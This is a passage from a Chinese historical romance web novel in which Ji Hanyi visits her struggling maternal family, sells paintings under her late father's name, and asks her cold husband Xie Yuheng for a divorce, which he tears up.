二夫人尖利的声音却铺面而来,伤心至极的妇人理智几乎殆尽:“怎么会没事?!那镇抚司的刑具洵儿能受得住么?”
“你耽搁一天,我的洵儿便多受一天的苦。”
“你要是有心,你要是对顾家有愧疚,你就该早些将你表哥救出来!”
季含漪闭了闭眼睛,心里沉甸甸的心事,已压的她喘不过气来。
这些情绪她向来都收敛的很好,此刻她对上舅母通红的眼眸,明白她的伤心,低声道:“洵表哥出事我亦着急的,我会尽力,但着急不能马上就能将事情解决,等我先去见过外祖母吧。”
旁边人这时候劝着二夫人先冷静,劝了好一会儿,方氏这才松了掐在季含漪手腕上的手。
从正厅跨出去的时候,季含漪低头看向手腕,鲜红的指印,让他浑身生了股无力来。
其实在从前,她的两位舅母对她是极好的。
变化在她父亲出事的那一年。
那时的父亲是已是兵部尚书,那两年正逢胡人频频侵扰辽西,派去镇守的将领无不大败,不到一年,两百多个堡寨被洗劫。
她父亲举荐当时的兵部左侍郎为经略,又举荐几名将领,那些都是父亲信任之人,本该是大胜的局面,可后方军饷粮草不及时,又有与父亲不和的兵备副使贪功冒进,在京大学士纷纷催促,在本不该出兵的时候出兵,导致大败。
这场大败,让她父亲遭受数不清的弹劾,结党营私,徇私舞弊,拉帮结派,本不是父亲的失误,父亲却入了大狱,定了大罪,季家被查抄。
两位舅舅只因曾受父亲举推,又是亲属,也一同被连累打入同党,贬官去了京外。
二舅舅更死在了任上。
那之后,从前与季家交好的纷纷撇清关系,都怕牵连到了自己。
外祖家亦是乱成了一片。
这些往事即便过了五年,再回想的时候也仿佛就在昨日。
一夕之间,连亲人也淡薄了。
去宁安堂的时候,院门口等着婆子,见着季含漪过来,忙过来迎,担忧道:“姑娘总算来了,老太太听说姑娘来府了,一直念叨着,让老奴在这儿候着呢。”
季含漪默了默眼神,抬脚跨进外厅。
丫头见着季含漪来,忙过来打帘子往内屋去。
顾老太太半靠在床榻上,一见着季含漪来,就撑着身坐起来,朝着季含漪伸手:“漪丫头来了。”
季含漪忙过去走到床边坐下,任由外祖母紧紧牵着她的手,担心的问:“祖母的身子好些了么?”
顾老太太笑道:“你不用担心我,我的身子没什么。”
说着她看向季含漪的脸庞,白净的脸庞上没有多少血色,眼底含着疲倦,依稀见一抹病色,不由担忧的问:“你也病了?”
季含漪摇头,含笑道:“就是刚才进来吹了些风,暖暖就好了。”
顾老太太叹息着,低头间看到季含漪手腕上红色的指印,本就白净无瑕的肤色,这会儿看起来异常明显。
她抬头怜惜的看着季含漪:“先去见过你两个舅母了?”
季含漪点头:“二舅母担心洵表哥的事情。”
顾老太太重重叹息:“锦衣卫的那些人心狠手辣,你别怪你二舅母着急。"
“顾家如今没落了,你舅舅还在边远地,什么时候能回来也说不清。”
“后辈里唯有晏哥儿和洵哥儿出息些,洵哥儿出了事,你能帮便帮吧。”
说着顾老太太又怜惜的看向季含漪眉头,伸手为季含漪抚了抚发,苍老的手指落在她光滑脸庞上,眼里隐隐红了红:“漪丫头,我知晓你其实也苦,身后没有母家撑腰,你嫁去谢家,谢家也不见得待你多好。”
“你两个舅母也总怨怼,怨你父亲当初出事连累你两个舅舅,对你也怨怪起来。”
“你都别放在心上,这回洵哥儿的事情,你能帮便帮,别坏了你与玉恒的情分,别在谢家更难过。”
“外祖母明白你的,你自来不说不好的,你舅母那头,外祖母替你顶着,别为难了自个儿。”
“不管洵哥儿能不能出来,这都是命,外祖母只希望你在谢家过的好好的。”
“顾家总要有人过得好啊…”
这话叫季含漪红了眼眶低头,一滴泪水再忍不住从眼眶下坠,落到粉蓝色芙蓉花的刺绣上,晕出一团湿润。
她眨眼,深吸一口气,难过喷涌而出,低头伏靠在顾老太太肩膀上,张张口想诉说委屈,到底又一句话说不出口。
说如何在谢家难过。
说她也没把握救出洵表哥。
再说她与谢玉恒早同陌路,他一直有心上人,她辜负了外祖母,没好好在谢家做好一个贤妻,她打算与谢玉恒和离了。
但都说出来了,又徒添更多的人难受。
后背上落下一只温热的手轻轻安抚着,季含漪眨眼,眼眶湿润,哑声道:“孙女想要与谢玉恒和离。”
“外祖母,你会怪我么。”
顾老太太愣了愣,看着季含漪眼里的泪光,心疼的眼泪从眼里涌出来,将季含漪抱进怀里,伸手落在季含漪的发上,难过道:“漪丫头在谢家受委屈了。”
“外祖母怎么会怪漪丫头呢。”
说着她轻轻拍着季含漪的后背,难受道:“谢家那孩子对你不好,早和离了也好。”
“什么都别怕,外祖母给你撑腰,大不了回来就是,别忍着在谢家受气。”
季含漪红了眼,声音细哑:“谢玉恒没喜欢过我,洵表哥的事情,他也不会帮我的。”
“我只能另外想法子救洵表哥。”
顾老太太看着季含漪那双哭红的泪眼,怜惜又心疼,含泪为她擦泪道:“可怜你在谢家委屈还要顾着你表哥的事情。”
“漪丫头,先紧着自己,外祖母不怪你。”
“洵哥儿的事情,怪不得任何人,即便你帮不了忙,也怪不得你。”
“你二舅母那头别担心,外祖母替你顶着,她也怪不到你头上去。”
“要和离的事先别与你母亲说,你母亲的病又重了些,还是等过些日子再说吧。”
那些积压已久的情绪,终于在这一刻缓慢的流淌出来,季含漪看着外祖母的银发,眼泪不止,扑进外祖母的怀里,哽咽嗯了一声。
第12章 遇见沈肆
从外祖母那里出去的时候,季含漪用帕子按在眼睛上捂了捂,又叫身边容春细细看了,看不出哭过,才了放心。
她转身往母亲那里过去的时候,又飘起了小雪,稀稀疏疏的几粒,也并不大,落在脸颊上也并不觉得凉。
惠兰院院门口的丫头远远便见着了季含漪,脸上高兴的不行,手忙脚乱的赶紧往里头说了一声,又跑出来迎到季含漪身边,声音带喜:“刚才前门说姑娘来了,夫人高兴坏了。”
“泡了姑娘喜欢的山君茶,还煮了暖身的姜枣汤,就等着姑娘来呢。”
季含漪含笑,细眉下的眉眼清波,含着碎光,一边往前走,又一边温声细语的问:“母亲这些日身子好些了么?”
春菊赶紧道:“姑娘别担心,夫人这些日精神好多了。“
季含漪点点头,进到屋内,春菊又赶紧来给季含漪解斗篷,又低低的笑道:“夫人前些日还念叨姑娘呢,姑娘来一趟不容易,夫人见着了姑娘,病也好了。”
季含漪目光看着屋内摆设,这些年依旧没动过。
这里是母亲未出嫁时的闺房,只是这么些年过去,已有些陈旧了。
沉疴的药味弥漫了满院,那挂在檐下的风铃还轻轻发出清脆的声音。
她看了那风铃良久,又看向春菊:“我写回来的信,母亲都看了么?”
春菊抬头:“姑娘总报喜不报忧,夫人每封信都要看好几回呢。”
“每回夫人看了姑娘的信,也能高兴的下榻走走了。”
“夫人总说姑娘嫁了如意郎君,夫人高兴呢。”
季含漪缓缓的落眉,无声笑了笑,掩去了所有神情。
又缓步往耳房去。
她打开柜子,里头的补身子的补药没有多少,母亲常吃的何首乌和海参,早没有了。
不过一些桂圆黄精,寻常补身子的。
旁边的药包她打开看了看,也已不是从前的那些药了。
身边的春菊小声道:“大夫人说如今府里的开支重,从前那药方吃不起了,又叫了郎中换了一副,说效果还是一样的。”
“说是现在府上开支也艰难,二爷刚授了官,还要打点些银子,再有三爷出了事,也要打点,老太太这些日身子也不大好,也要先紧着老太太……”
“等开春屋檐也要修了,又说今年庄子里收成不好,今年入冬,下人们也没做衣裳穿。”
季含漪默然听着,又将药包包好,轻轻的放回了原处。
当作出决定的时候,往后的每一步,都必然是艰难的。
烟尘撒在透进来的光线里,她将手里的荷包拿出来放进春菊手里:“府里开支的确是难,这些银子先给母亲备从前的药,不够了与我来信便是。”。
“别总麻烦了舅母,也依旧别与母亲说。”
春菊默默看着手里沉甸甸的荷包,她知晓,这些年要不是姑娘总时不时塞银子来,夫人的药怕是都续不上了。
这里虽是夫人的母家,可老太太不管事了,开支是大夫人管着,掌心朝上的伸手要,终归要看旁人脸色。
季含漪从耳房走出去,指尖在炭火上烤了烤,身上的冷气散去,才去掀了厚厚的帘子往暖房里去。
穿过了两道屏风,才见着了躺在床榻上的母亲。
顾氏身上穿着单衣,肩上披着羊绒毯,一脸病容的妇人也依旧颜色姣好,即便常缠绵病榻,一举一动也依旧雅致。
季含漪走去了床边。
顾氏见着季含漪过来,苍白憔悴的脸庞上漾着笑意,她微微坐直了身,笑着打量着季含漪的脸庞,柔美的眉眼细细从季含漪发上的首饰打量到她裙摆。
发钗是上好的玉,身上的布料是名贵的苏锦,脖子上那串珍珠,亦是品相极好。
顾氏便放心了,无论外头的怎么说,无论她两个嫂嫂在她面前如何冷嘲热讽的说她女儿在谢家过得不一定好,她都不信。
她只信自己女儿的话。
最后顾氏握紧季含漪的手,咳了两声,才又开口:“去先见过你外祖母和两位舅母了么?”
季含漪轻轻点头:“已经见过了。”
顾氏神情里有一些落寞,又低声道:“你两个舅母自小疼你的,如今还也是还记着那些旧事。”
“你都别放在心上,都是一家人,哪里能不指着你好呢,你别难受。”
季含漪噙着笑看向母亲:“我都知晓的,我没难受过。”
顾氏看季含漪含笑,心下便宽慰了,又拍了拍季含漪的手,看着季含漪脸上的笑意:“往后少些来瞧我吧,我一切都好的。”
说着顾氏抬手温柔的为季含漪理了理刚才在外头被雪吹落的发丝:“这些日你三表哥的事情还没过去,我知晓你的难处,但一家人,能帮帮你三表哥便帮帮。”
“也别太记挂我,我这身子我早不在意了,不过牵挂着你,不然当初就随你父亲去了。”
“你现在要紧的是赶紧怀个玉恒的孩子,他年轻有为,你迟迟不怀,纵他现在不纳妾,往后又怎么说的准呢,你婆婆也不高兴的。”
说着顾氏一脸担忧的看着季含漪:“快三年了,怎么总怀不上呢。”
季含漪顿了顿,唇边的话张口欲言,又依旧道:“随缘吧。”。
顾氏叹息,也明白这急不来的。
中午陪母亲一起用了饭,临走前,季含漪叫母亲别再偷偷倒了药,再与春菊细细叮嘱,因为这事不是没有过。
那年父亲在狱中猝死,母亲伤心欲绝,吃了砒霜,差点就跟着去了,后头救了回来,身子也坏了。
后头一年里,母亲也总偷偷倒了药,自己成婚后稍好了些,但下人来信也总说母亲偶尔半夜里也总忽然哭起来。
季含漪明白母亲的伤心,父亲一生为她们挡风避雨,一心一意,温柔慈善。
站在廊下,季含漪缓缓吐出一口白气,她看着白气上升,听着檐下风铃,蓦然就红了眼眶。
下午时,季含漪的马车停在了抱山楼前。
抱山楼是一处文人雅客常来的地方,古玩字画,名器雅具,都可送来这里任人欣赏竞拍。
但凡得到了欣赏追捧,那些有才情的落魄文人,常常也是从这里先出名的。
季含漪每隔几月便会来一趟,前门接引的小厮看了她递去的牌子,忙轻车熟路的过来引着她往另一处楼梯上去。
季含漪发上戴着帷帽,手里拿着一幅画卷,跟随着一路上了三楼。
三楼入口处站着位蓝衣绸衫的清秀少年,见着来人,又忙上前引路,穿过两道座屏,至一处书房时,才悄无声息的退下去。
入目是一张黄花梨木的大桌案,桌案后一名约莫四十左右的男子,正站在桌后仔细挑选摆满桌上的画卷。
挑选出来的画卷,便是今日下午供人竞拍的画。
那男子见到季含漪来,忙从宽案后过来,请季含漪去旁边椅上坐。
椅子中间的小案上摆着茶具,另一边的花架上放着蝴蝶兰,幽香四溢,茶香袅袅。
季含漪将手中的画卷递过去,声音客气:“还请章先生过目。”
章海忙双手将画卷接过来,又叹息:“夫人的画,自然是压轴的,就凭您那石澜居士的名头,便有许多人争强着要。”
石澜居士其实不是季含漪的名号,是她父亲的。
章先生与她父亲也曾是知交,她的画都是父亲亲传,即便换了一个人,也没人看得出来。
她起初本不愿用父亲从前名号的,但后来章先生去信给她,自从抱山楼没有石澜居士的画之后,走了许多人,便来请她动笔,竞拍来的银子,依旧四六成开。
她嫁入谢家后,婆婆防着她,每月应有的东西虽从未有过苛待,但手上却没有现银。
不管是下人打点,还是想要另外置办些东西,都是不能的。
再有母亲的身子断不得药,虽外祖母让她不用担心,但舅母掌管公中开支,日子久了,难免不满,她多补贴一些,母亲在外祖家的日子也好过一些。
季含漪那时候才开始试着画了一幅,那是石澜居士阔别三年后的第一幅,那一回竟拍到了两千两银。
只不过季含漪画的并不快,至少要一月才能画完一幅,再有她也知晓,若是画的多了,便不值钱的,常常也是两三月送去一幅。
得来的银子,每回给母亲那里送去一些,再给两位舅母和外祖母送一些东西,剩下的她存着后来又盘下了一间铺子。
当初出嫁时,外祖母在她名下置办了一间铺子,两间铺子她打理着,这两年里,手上还算存了一些银子。
虽不是太多,但也算她提和离的一丝底气。
季含漪笑了笑,她待会儿还要去铺子里看看,与章先生简单寒暄了两句,这才离开。
往楼下走时,至拐角处听着有谄媚的声音由远及近的传来:“难得侯爷有闲心亲自来一趟,定然将最好的位置留于侯爷的。”
“要侯爷没多少空闲,那些画都在三楼的,侯爷瞧上了哪幅,便差人送去侯爷府上。”
季含漪听着这声音,听出是抱山楼的掌柜。
让抱山楼掌柜这么谄媚奉承的人,季含漪的目光情不自禁往下看去。
视线里一袭墨绿衣摆缓露在眼前,接着是如雅鹤般挺拔修长的身形,隔着薄薄白纱,季含漪再一抬眼,就对上了一双冷清淡漠的眼睛。
第13章 我们和离吧
视线与那双眼睛一对上,季含漪心里便颤了颤,往前踏了一步的步子,又下意识的往后退了一步。
季含漪没想到,她会在这里遇上沈肆。
沈肆一直没说话,任凭旁边的掌柜如何卑躬屈膝,他甚至连一眼正眼都未看过去。
他负着手,历来冷淡如冰的脸庞让人看不出任何情绪,唯有身形雅致,如松如玉,将身边人衬进了泥里。
季含漪知晓,沈肆是天生的冷,冷的好似没有情绪,没有感情,甚至没有喜恶,想要讨好他的很人多,但永远都讨好不了他,永远拒人于千里之外。
不过几步间,两人便在并不宽敞的楼梯上相遇。
沈肆冷淡的眉眼并没有将目光落到她身上,除了刚才对视的那一眼,再没多看她一眼。
她退至边缘处,他身上高雅的冷香袭来,面前人脚步未曾停止。
这一瞬间季含漪想了很多,想他有没有看到自己的信,他这样的人,是会连看都懒得看一眼,还是即便看见也会置之一边。
毕竟他与她云泥之别,两人年少那一点微不足道的情分,在他眼里该是不值得一提的。
目光不由随着他的身形缓缓上抬,直到看到他靠近时,她还是忍不住开口:“沈大人……”
开口的瞬间,她还有片刻恍惚,想起小时候,她是叫他沈哥哥的。
父亲进士考那一年,沈老首辅是主考,那年中第的进士,自然而然俸沈老首辅为老师。
父亲是那一年的探花,被老首辅器重,成为座下最看重的学生。
依稀记得小时候跟随父亲去沈府拜访老首辅时,她就忍不住去他身边,她从未看见过这样好看的人。
尽管他脸上看起来总是冷冰冰的,也从来不搭理她,但是她跟随在他身后看他在书房写字时,他也从未赶过她。
从有记忆那年开始,那一年她正七岁,沈肆十一岁。
后来,父亲与她说,沈肆的书房,她是唯一一个没有被赶出来的。
记忆零星,沈肆是天之骄子,生来众人瞩目,她见他也不过零星几面。
小时候不明白什么是身份高贵,以为他与邻家哥哥一般,长大了便明白了。
沈肆的步子没有停顿半分,身边长随看沈肆的神色,便知晓侯爷是不愿理会的。
想要见侯爷的人多了去了,这女人八成又是那些看话本子多了的愚蠢女人,幻想着被侯爷看上一步登天,一见钟情。
稍有些姿色,便个个都觉得自己不一样。
嗤,痴人做梦。
季含漪怔怔看着那道背影消失在拐角处,这么多年,他依旧还是这样不近人情,连一个眼神都不曾施舍。
或许他早就忘了她。
她怔了下,想他或许正忙,也不会有空闲理会她,默默转身下了楼。
低低视线的余光处都在一处,沈肆的步子上到拐角处时,冷清的目光微偏,落在一闪而过的那一片芙蓉刺绣上。
季含漪没走,她坐在马车中静静等着。
不知等了多久,等到手上的手炉已经微冷,外面的天色渐暗,这条最繁华的街道上,有的店家已经早早点上了灯火。
容春听着季含漪细细的咳嗽声,忍不住小声道:“或许沈大人往其他地方先走了呢。”
季含漪的指尖微微一凝。
也是,抱山楼有好几处后门,如沈肆这样的人,从来生人勿近,自然不会走人多的地方。
或许他早已走了,她却还存了一丝期望,等着见他一面。
指尖已经微凉,她低声道:“再等会儿吧。”
她唯一能想到的人,唯有沈肆了,只盼他哪怕还能记得年少时一分的情谊。
寒风微起,吹动站在长廊上沈肆的衣摆,他低头静静看着楼下的马车,马车内亮着光线,映出里头女子姣好的侧影。
墨黑的眼底是浓稠的化不开的情绪,又在暗沉的天色里几不可察。
身边的长随文安怀里抱着装画的长盒,里头是石澜居士的新作,他低头顺着主子的目光看过去,不过一辆平平无奇的马车,实不明白主子会将目光多放在这样一辆马车上面。
他正要小声询问让马车停在哪道门后,就见主子已经迈开步子,往另外一处后门走去。
文安忙跟上,主子一向喜静,但凡主子常去的地方,都有人特意为主子准备一道门,或是早早清理了一干人等,又叫等候在旁的人赶紧去准备停好马车。
季含漪等到天黑也没再等到沈肆。
沉重的心事就如枝头愈压愈重的雪,她沉默许久,才又让马车离开。
也是,他这样的人,早不是她能触及到的了。
马车缓缓往谢府驶去,容春看季含漪低头埋在膝盖上,伤心道:“夫人尽力了。”
季含漪只是茫然的垂眸看着一处,明白无论如何,总要往下走下去的。
回了谢府,前门口的小厮过来帮忙搬脚凳,又小声道:“少夫人,大爷前脚刚回呢。”
季含漪只是淡淡点头,早对谢玉恒没了任何情绪。
院子里通亮一片,看来是谢玉恒在屋内。
她深吸口气,一边往屋内走,一边将身上的斗篷解开。
丫头端着热水过来,她冰凉的双手泡在铜盆里,身上才渐渐开始暖了些。
进到内屋,季含漪只看到谢玉恒坐在内室小厅的椅上,正低头看着手上的书册,他见着季含漪进来,手上的手册合起来放在一边,视线落在季含漪的脸庞上。
过分白净的脸颊上许是染了屋内的热气,生了一抹淡淡的红晕,她本就是有几分旖旎含媚的长相,虽说她常常是素净装扮,但脸上稍微添一点颜色,便是艳色。
尽管他之前总不喜她狭隘性子,却又总会在床榻间被那双眼睛勾的不能自控。
他忽然想起来,这些日子太忙碌,他好似许久未曾与她亲近过了。
又想到今早母亲的话,还有昨夜误会她的事情,谢玉恒的眉眼不由柔和下来,声音里也少了从前的冷清:“去哪里了?”
季含漪一顿,从前谢玉恒从来不会关心她去过哪里,他很少过问她的事情,一样的,他也并不喜欢她过问他太多。
季含漪往里面走,只说回去看了母亲。
谢玉恒却道:“你许久不曾回去一回,是该去看看。”
顿了下又道:“等下回我空闲了,便陪你一同去看看你母亲。”
季庭秋掀开帘子往内走的步子一顿,回头看向谢玉恒脸上的表情,见他黑眸也朝他看来,像是并不是随口一说。
成婚三年,他不曾去看过她母亲一回。
她不知他今日为何会如此,季含漪也已不愿多想他意思,她只低低嗯了一声,低头进了帘子,去将她早已写好的和离书拿在手里。
好不容易碰到谢玉恒在,季含漪知晓,这回再不与他说,下回又不知是何时了。
怕谢玉恒又走了,季含漪正打算转身出去时,却见谢玉恒已掀了帘子走了进来。
谢玉恒走到季含漪面前,看了看她的神色,低声问:“风寒好些了么?”
季含漪一怔,又点头:“好多了。”
她后退一步,看向身边容春,让容春叫屋内的丫头都先出去。
说完,她看向谢玉恒:“大爷,”
谢玉恒看着出去的丫头挑眉,又看向季含漪看来的眼眸,在烛下,那里头好似永远含着一汪水,看起来无辜又娇弱。
他抿抿唇,刚才稍柔和起来的面容又渐渐冷清下来,皱眉看着季含漪:“含漪,你表哥的事情,本违反了律法,无论他受到什么惩治,我都不会帮你。”
“你不用求我。”
季含漪苦笑一声,想起成婚第一年,外祖母来信,让她带着谢玉恒一起回去看看母亲,他也是用这样冷淡语气拒绝的。
自那之后,她便不再求他了,因为她知道了,一旦谢玉恒不愿做的事情,怎么求也是无用的。
低低吸了口气,季含漪轻轻摇头,看着谢玉恒:“我不是要与你说这个。”
说着,她将手上的和离书送到谢玉恒面前:“我们和离吧。”
“这是我写好的和离书,本来我昨日便打算给你的。”
说完,她目光平静的对上谢玉恒的视线:“不用费你多少时间,等你落款盖印,我便送去官府。”
第14章 你愿写下和离书么
长久的静默之后,接着传来一声冷冷讥讽的嗤笑。
谢玉恒冷眼看着季含漪,他不信季含漪有这个本事与他提和离。
她早已不是从前那个季家独女,和离后,她能去哪里。
即便她回她外祖家寄人篱下,她也不过是外人罢了,顾家又能收容她多久,更何况顾家也没落没有了多少根基。
一个和离了的妇人,还有谁愿意要她。
离了他,她以为她还能过上如现在这般富贵被人伺候的日子么。
她不过是这两日受了些误会,又因为自己不肯帮她表哥的事情,便用这样的方式让他妥协。
但谢玉恒自知这两日对季含漪是有不妥的,那日她独自在寒雪里,现在想起来,也的确是他不周。
昨夜他也误会了她。
谢玉恒深吸一口气,低头看向季含漪,难得耐心的开口:“含漪,闹脾气是有限度的。”
“昨夜的事情是我误会了你,我让管家给你送了些燕窝和补身的,这些日你先养着病,等风寒好了,再去母亲那里问候照顾就是。”
季含漪原本以为谢玉恒应该一口答应的。
毕竟她明白谢玉恒心里多喜欢李眀柔,他迟迟不提不过为着名声脸面,如今自己提出来,顾全他名声,他却觉得她是在闹脾气。
看来谢玉恒从来都未曾了解过她,但凡他懂她一点,便知晓她从未闹过脾气。
但不管谢玉恒如何认为,已经到了这步,总是要说清楚的。
季含漪依旧摇头,她认真看着谢玉恒:“和离的事情其实我想了许久,只是迟迟没与你提起罢了。”
“我与你成婚三载,被你误会再多的事情,我都没有闹过脾气,更不会用和离这样的事情来闹脾气。”
“这是我思量已久的决定,还请你尽早落款盖章吧。”
谢玉恒震惊的看着季含漪平静的面孔,烛火轻晃,她眸子里的认真,不似作假。
一刹那脑中闪过无数个念头,具是不信季含漪会真敢与他和离。
他拿过季含漪手上的和离书展开,入目一字一字映入眼帘,在看到那句二舟同渡,终航有别时,谢玉恒手上一紧,抬眼看向季含漪。
季含漪垂眸,低声道:“我已写下姓名,待大爷落下印款,一应物品,明日之内便会收拾妥当。”
她带来谢府的东西本就不多,当初季家被抄,她与母亲净身素衣出了季府,从前再风光的季家,也与她没了关系。
谢玉恒看着和离书上那朱红姓名,又静静看了季含漪半晌,忽的冷笑一声,直接将手上的和离书撕成两半。
正落在两人中间。
季含漪有些不敢相信谢玉恒为什么会这么做,她本是想两人体面从容的分开,不愿提起他心底的人,更不愿提起她在谢家三年所受的委屈。
一别天地阔,两处日月长,再别想干就好。
头顶传来谢玉恒不耐的声音:“含漪,我只纵容你任性这一次。”
他依旧用他总是带着失望的声音开口:“你这般性情,三年了还是未怎么改变。”
“将来你怎么成为谢家主母,你若再这样无理取闹,我不介意让你跪去宗祠里好好反省自己。”
季含漪只觉得浑身生起了一股凉意。
即便知晓谢玉恒对她向来无情,却没想到,他对她从来都是如此,从未改变过。
仅仅因为当年李眀柔故意泼下的那一碗茶,便贯穿了她整个三年,无论她做的多好,她在他心里,始终都是不容人又狭隘无理取闹的人。
她猛然对谢玉恒生出的那股厌烦无力,甚至叫她多看他一眼,都觉得心在发疼。
季含漪往后退了一步,闭上眼睛,摇摇欲坠的身子撑着身边的小案,脸颊苍白,缓了许久才开口:“我若跪去宗祠里反省,出来后,你愿写下和离书么。”
谢玉恒看着季含漪苍白的面前,单薄娇小的身子在轻颤,他对她还是有怜惜的,却不喜她总是这般任性。
不可否认的,平素院子里她都打理的极好,院子里的丫头亦规矩,在母亲那里侍奉尽心,在外应酬也得体端庄。
其实他从未想过要与她和离,只是不喜她总喜欢计较。
知晓她从前或许在季家被养成了性子,谢玉恒常不理会她,冷落她,只是想要磨平她性子上的棱角。
他往后即便不纳妾,但他这般善妒,终究是不好。
谢玉恒深吸一口气,看着季含漪这般模样,终究是没狠下心来罚她,只是道:“含漪,今日的事情我不计较,我给你几日反省养病,别再叫我失望。”
谢玉恒说完这话,又深深看了季含漪一眼,转身离去。
映在屏风后的修长影子渐渐离去,空荡荡的内室里,唯有季含漪一人站在屋内。
她低头看着脚下被谢玉恒撕成两半的和离书,弯腰捡起来,扔进了一边的炭火里。
她看着火苗往上窜起,火苗映亮她眼眸,她坐在了一边的罗汉榻上,在看着窗外谢玉恒走出庭院的背影,又回过了头。
容春从外头进来,手上小心端着一个瓷碗,过来季含漪身边,语气含笑道:“少夫人,这是大爷吩咐厨房给少夫人熬的补身子的汤,少夫人趁热喝了吧。”
又道:“大爷难得关心起少夫人来,定然是大爷看到了少夫人的好了。”
季含漪只看了容春手里的碗一眼,淡淡笑了笑。
哪里有什么关心,不过是因为昨夜的事情,他不知怎么知道冤枉了她,又赏赐给她一颗甜枣。
就如同那日的那匹蜀锦一般。
李眀柔什么都不用做都能得到的东西,她却要用这样的方式来换。
季含漪抬头看向容春:“今日你跟着我也吹了些风,你吃吧。”
容春一愣,连忙道:“这是大爷给少夫人的,奴婢怎么能吃。”
季含漪扶着额头:"你吃就是,不过一碗补身汤,或许明日就没了。"
说着季含漪起身,往后廊屋的书房走去。
今日她回去时也顺便看了看铺子,将账本拿了回来。
如今既已打算与谢玉恒和离,手上自然多些财物更好。
她更知晓往后不能在外祖府上常住,外祖不说什么,舅母必然是不愿的。
她不怪什么,也明白外祖家如今艰难,更不想因为自己和离,连累了旁人。
和离是她一人的事情,不能牵连了亲人。
第一间铺子的收益因为经营的日子久些,收益还算不算,第二间铺子才经营不到一年,收益并不算太好。
但有总是比没有好的。
铺子里的管事是季含漪找外祖母要的人,还算放心,但每一季的账目,她也是要认真看的。
旁边春容为季含漪挑灯,季含漪才察觉到她看了许久。
她揉了揉眉心问容春:“补汤吃了?”
容春忙点头,又有些忐忑:“总觉得大爷好不容易给少夫人的心意,要是大爷知晓了,会不会又冷落少夫人?”
季含漪并不在意这个,她合上账目,有些疲倦的靠着椅背,抚着怀里柔软温热的白猫,看着一处失神低低道:“我现在只担心我表哥的事情。”
她更怕这事的罪名被往大了定,又连累了如今本就摇摇欲坠的顾家。
那年出事,两个舅舅被贬,那时顾家还算富余,毕竟顺风顺水的在京城扎根百来年,置办的田产铺子不少。
只是那时候为了两个舅舅能从轻处置,到处出银子托关系,花了大半家财,也没改变任何结局。
其实这时候,季含漪忽然想到了那年她母亲带着她去找沈老首辅为父亲求请的那一天。
沈老首辅是皇上老师,他若是为父亲求情,或许父亲能被网开一面。
那时候老首辅已经不是首辅了,沈肆入仕的那一年,他便离开了首辅的位置。
那时候她与母亲跪在老首辅面前,老首辅只是遗憾的叹息:“不放过子叙的不是皇上,是辽西的百姓啊。”
那时候季含漪还不怎么明白那句话的意思,现在她忽想起旧事,便明白了。
辽西的战事屡战屡败,百姓死伤无数,被劫掠的财物更是无数,难免会怨恨朝廷不力,朝廷的威严总要维持住,皇上的威严也总要维持。
她父亲是兵部尚书,战略辽西,辽西经略和大将亦是父亲举荐的人,让父亲以死谢罪,是对辽西百姓最好的抚慰。
让辽西百姓的恨都落在父亲身上。
没人能够救父亲,被父亲一同被牵连的人,又如何能得到赦免。
那些人明知救不了,也依旧贪婪的留一线希望敛走财物。
季含漪闭上眼睛,轻轻叹息,如今摇坠的顾家,怎么能再经历一场风波。
回去沐浴入睡时,依旧冷清一片,季含漪早已习惯了,相反,她竟然松了一口气。
只是在她疲倦快要睡着的时候,床帐外却传来细小的动静。
没过多久,窸窣传来,床帐被挑开一个口子又合上,紧接着,被子被掀开,一具温热的身体从后贴上来,一只手落在她腰间。
第15章 她的决心,本来也不该是笑话
那只手温热又宽大,季含漪的身子却忍不住微微一僵,生出股恶心来。
谢玉恒在她面前,唯一不那么冷清的时候,只有在床榻上。
尽管两人同床共枕的时候并不算多,再有很多时候他来入睡时,她已经睡着了。
但即便并不多的次数,他的动作也算不得温柔的,也常常夜里不止一回。
尽管从前她为了早些怀上身孕也尽力迎合谢玉恒,但如今当他的手落在她腰间的时候,她竟忍不住的想要避开他。
后颈上微微传来热意,谢玉恒沙哑的声音从身后传来:“含漪,从前我对你是有疏忽,但我们还远不至于要到和离的地步。”
“一来府里未曾短缺过你什么,二来旁的男子如我这般家世,哪个不是三妻四妾?再有你三年未曾有子嗣,我可曾有怪过你?”
“你始终是我的妻,和离是大事,再别任性胡闹。”
“今年等除夕一过,初三时我陪同你一同去看你母亲,”
“再有我祖母最是喜欢你,临着祖母过寿,你这时候实在不该闹,即便要闹,等祖母寿辰过了再说。”
说罢,谢玉恒安抚似的将手放上她的肩膀,好似在叫她听话一些。
其实刚才谢玉恒在书房里,每一想到季含漪用那认真的眼神与他说和离的时候,他向来冷静自控的心里便忍不住焦躁起来。
他不明白,好端端的日子,季含漪为什么会忽然与他说和离。
他更不明白她在谢府明明过着锦衣玉食的日子,她身后不过一个外祖家,她何来的底气与胆子与他提和离。
她什么都没有,他知晓她只有一间铺子,即便有些收益,也远不足让她过在谢府的日子。
再有这三年里,即便她稍有委屈,又哪里到了要和离的地步。
谢玉恒觉得虽说平日里他公事繁忙,对季含漪算不上太上心,但谢玉恒明白,自己对季含漪做自己妻子这三年还算满意省心的。
她向来万事不用他操心,虽说没有管家,但院子里的一切都打点的很好,下人亦没有说过她不好的话,院里长短,府中事物,更没有给他平添什么麻烦事。
况且季含漪对他顺柔顺从,有求必应,虽说有时候他的确不喜欢她太过于事无巨细的为他做好,但也不得不承认,他也已经习惯。
即便他总是与明柔吃醋,处处针对明柔,但明年明柔就要定下亲事,她也总该能消停下去。
谢玉恒知道季含漪是离不的他的,他在书房里想了许久,才想明白季含漪不过是因为上次在雪里自己扔下了她,还有后来误会了她,又撞上这回她外祖家的事,便用这样的方式与他闹脾气。
他是历来不会在女人面前低头的,但这回的事他的确有不妥的地方,先哄好她也本没什么。
寂寂暗色中,季含漪听完谢玉恒的话,眸子睁开。
她无声的看着某一处,听着谢玉恒施舍般的话,再回顾她从前三年,只觉那是一条阴郁沉抑的长廊,是她独身一人提着灯,小心翼翼的走向那个早已注定,满是风雪的结局。
她自来都是一个人在走。
谢玉恒从来都不管府里事,从来都不管她。
再留在这里,这一生都不会好了,身上永远都是冷的。
她的决心,本来也不该是笑话。
更不是为了挽回不爱她的人。
谢玉恒本以为自己与季含漪说了这些话,季含漪便应该知足了。
毕竟她和离后又能去哪儿呢,她还能去哪儿呢。
只是他没想到的是,本该温顺待在自己怀里柔软温热的身子,却头一回从他的怀里离开。
谢玉恒震惊的抬头看着季含漪从床榻上坐起身,抬手掀开床帐,又起身拿过架子上的外裳披在肩膀上,再回头看他。
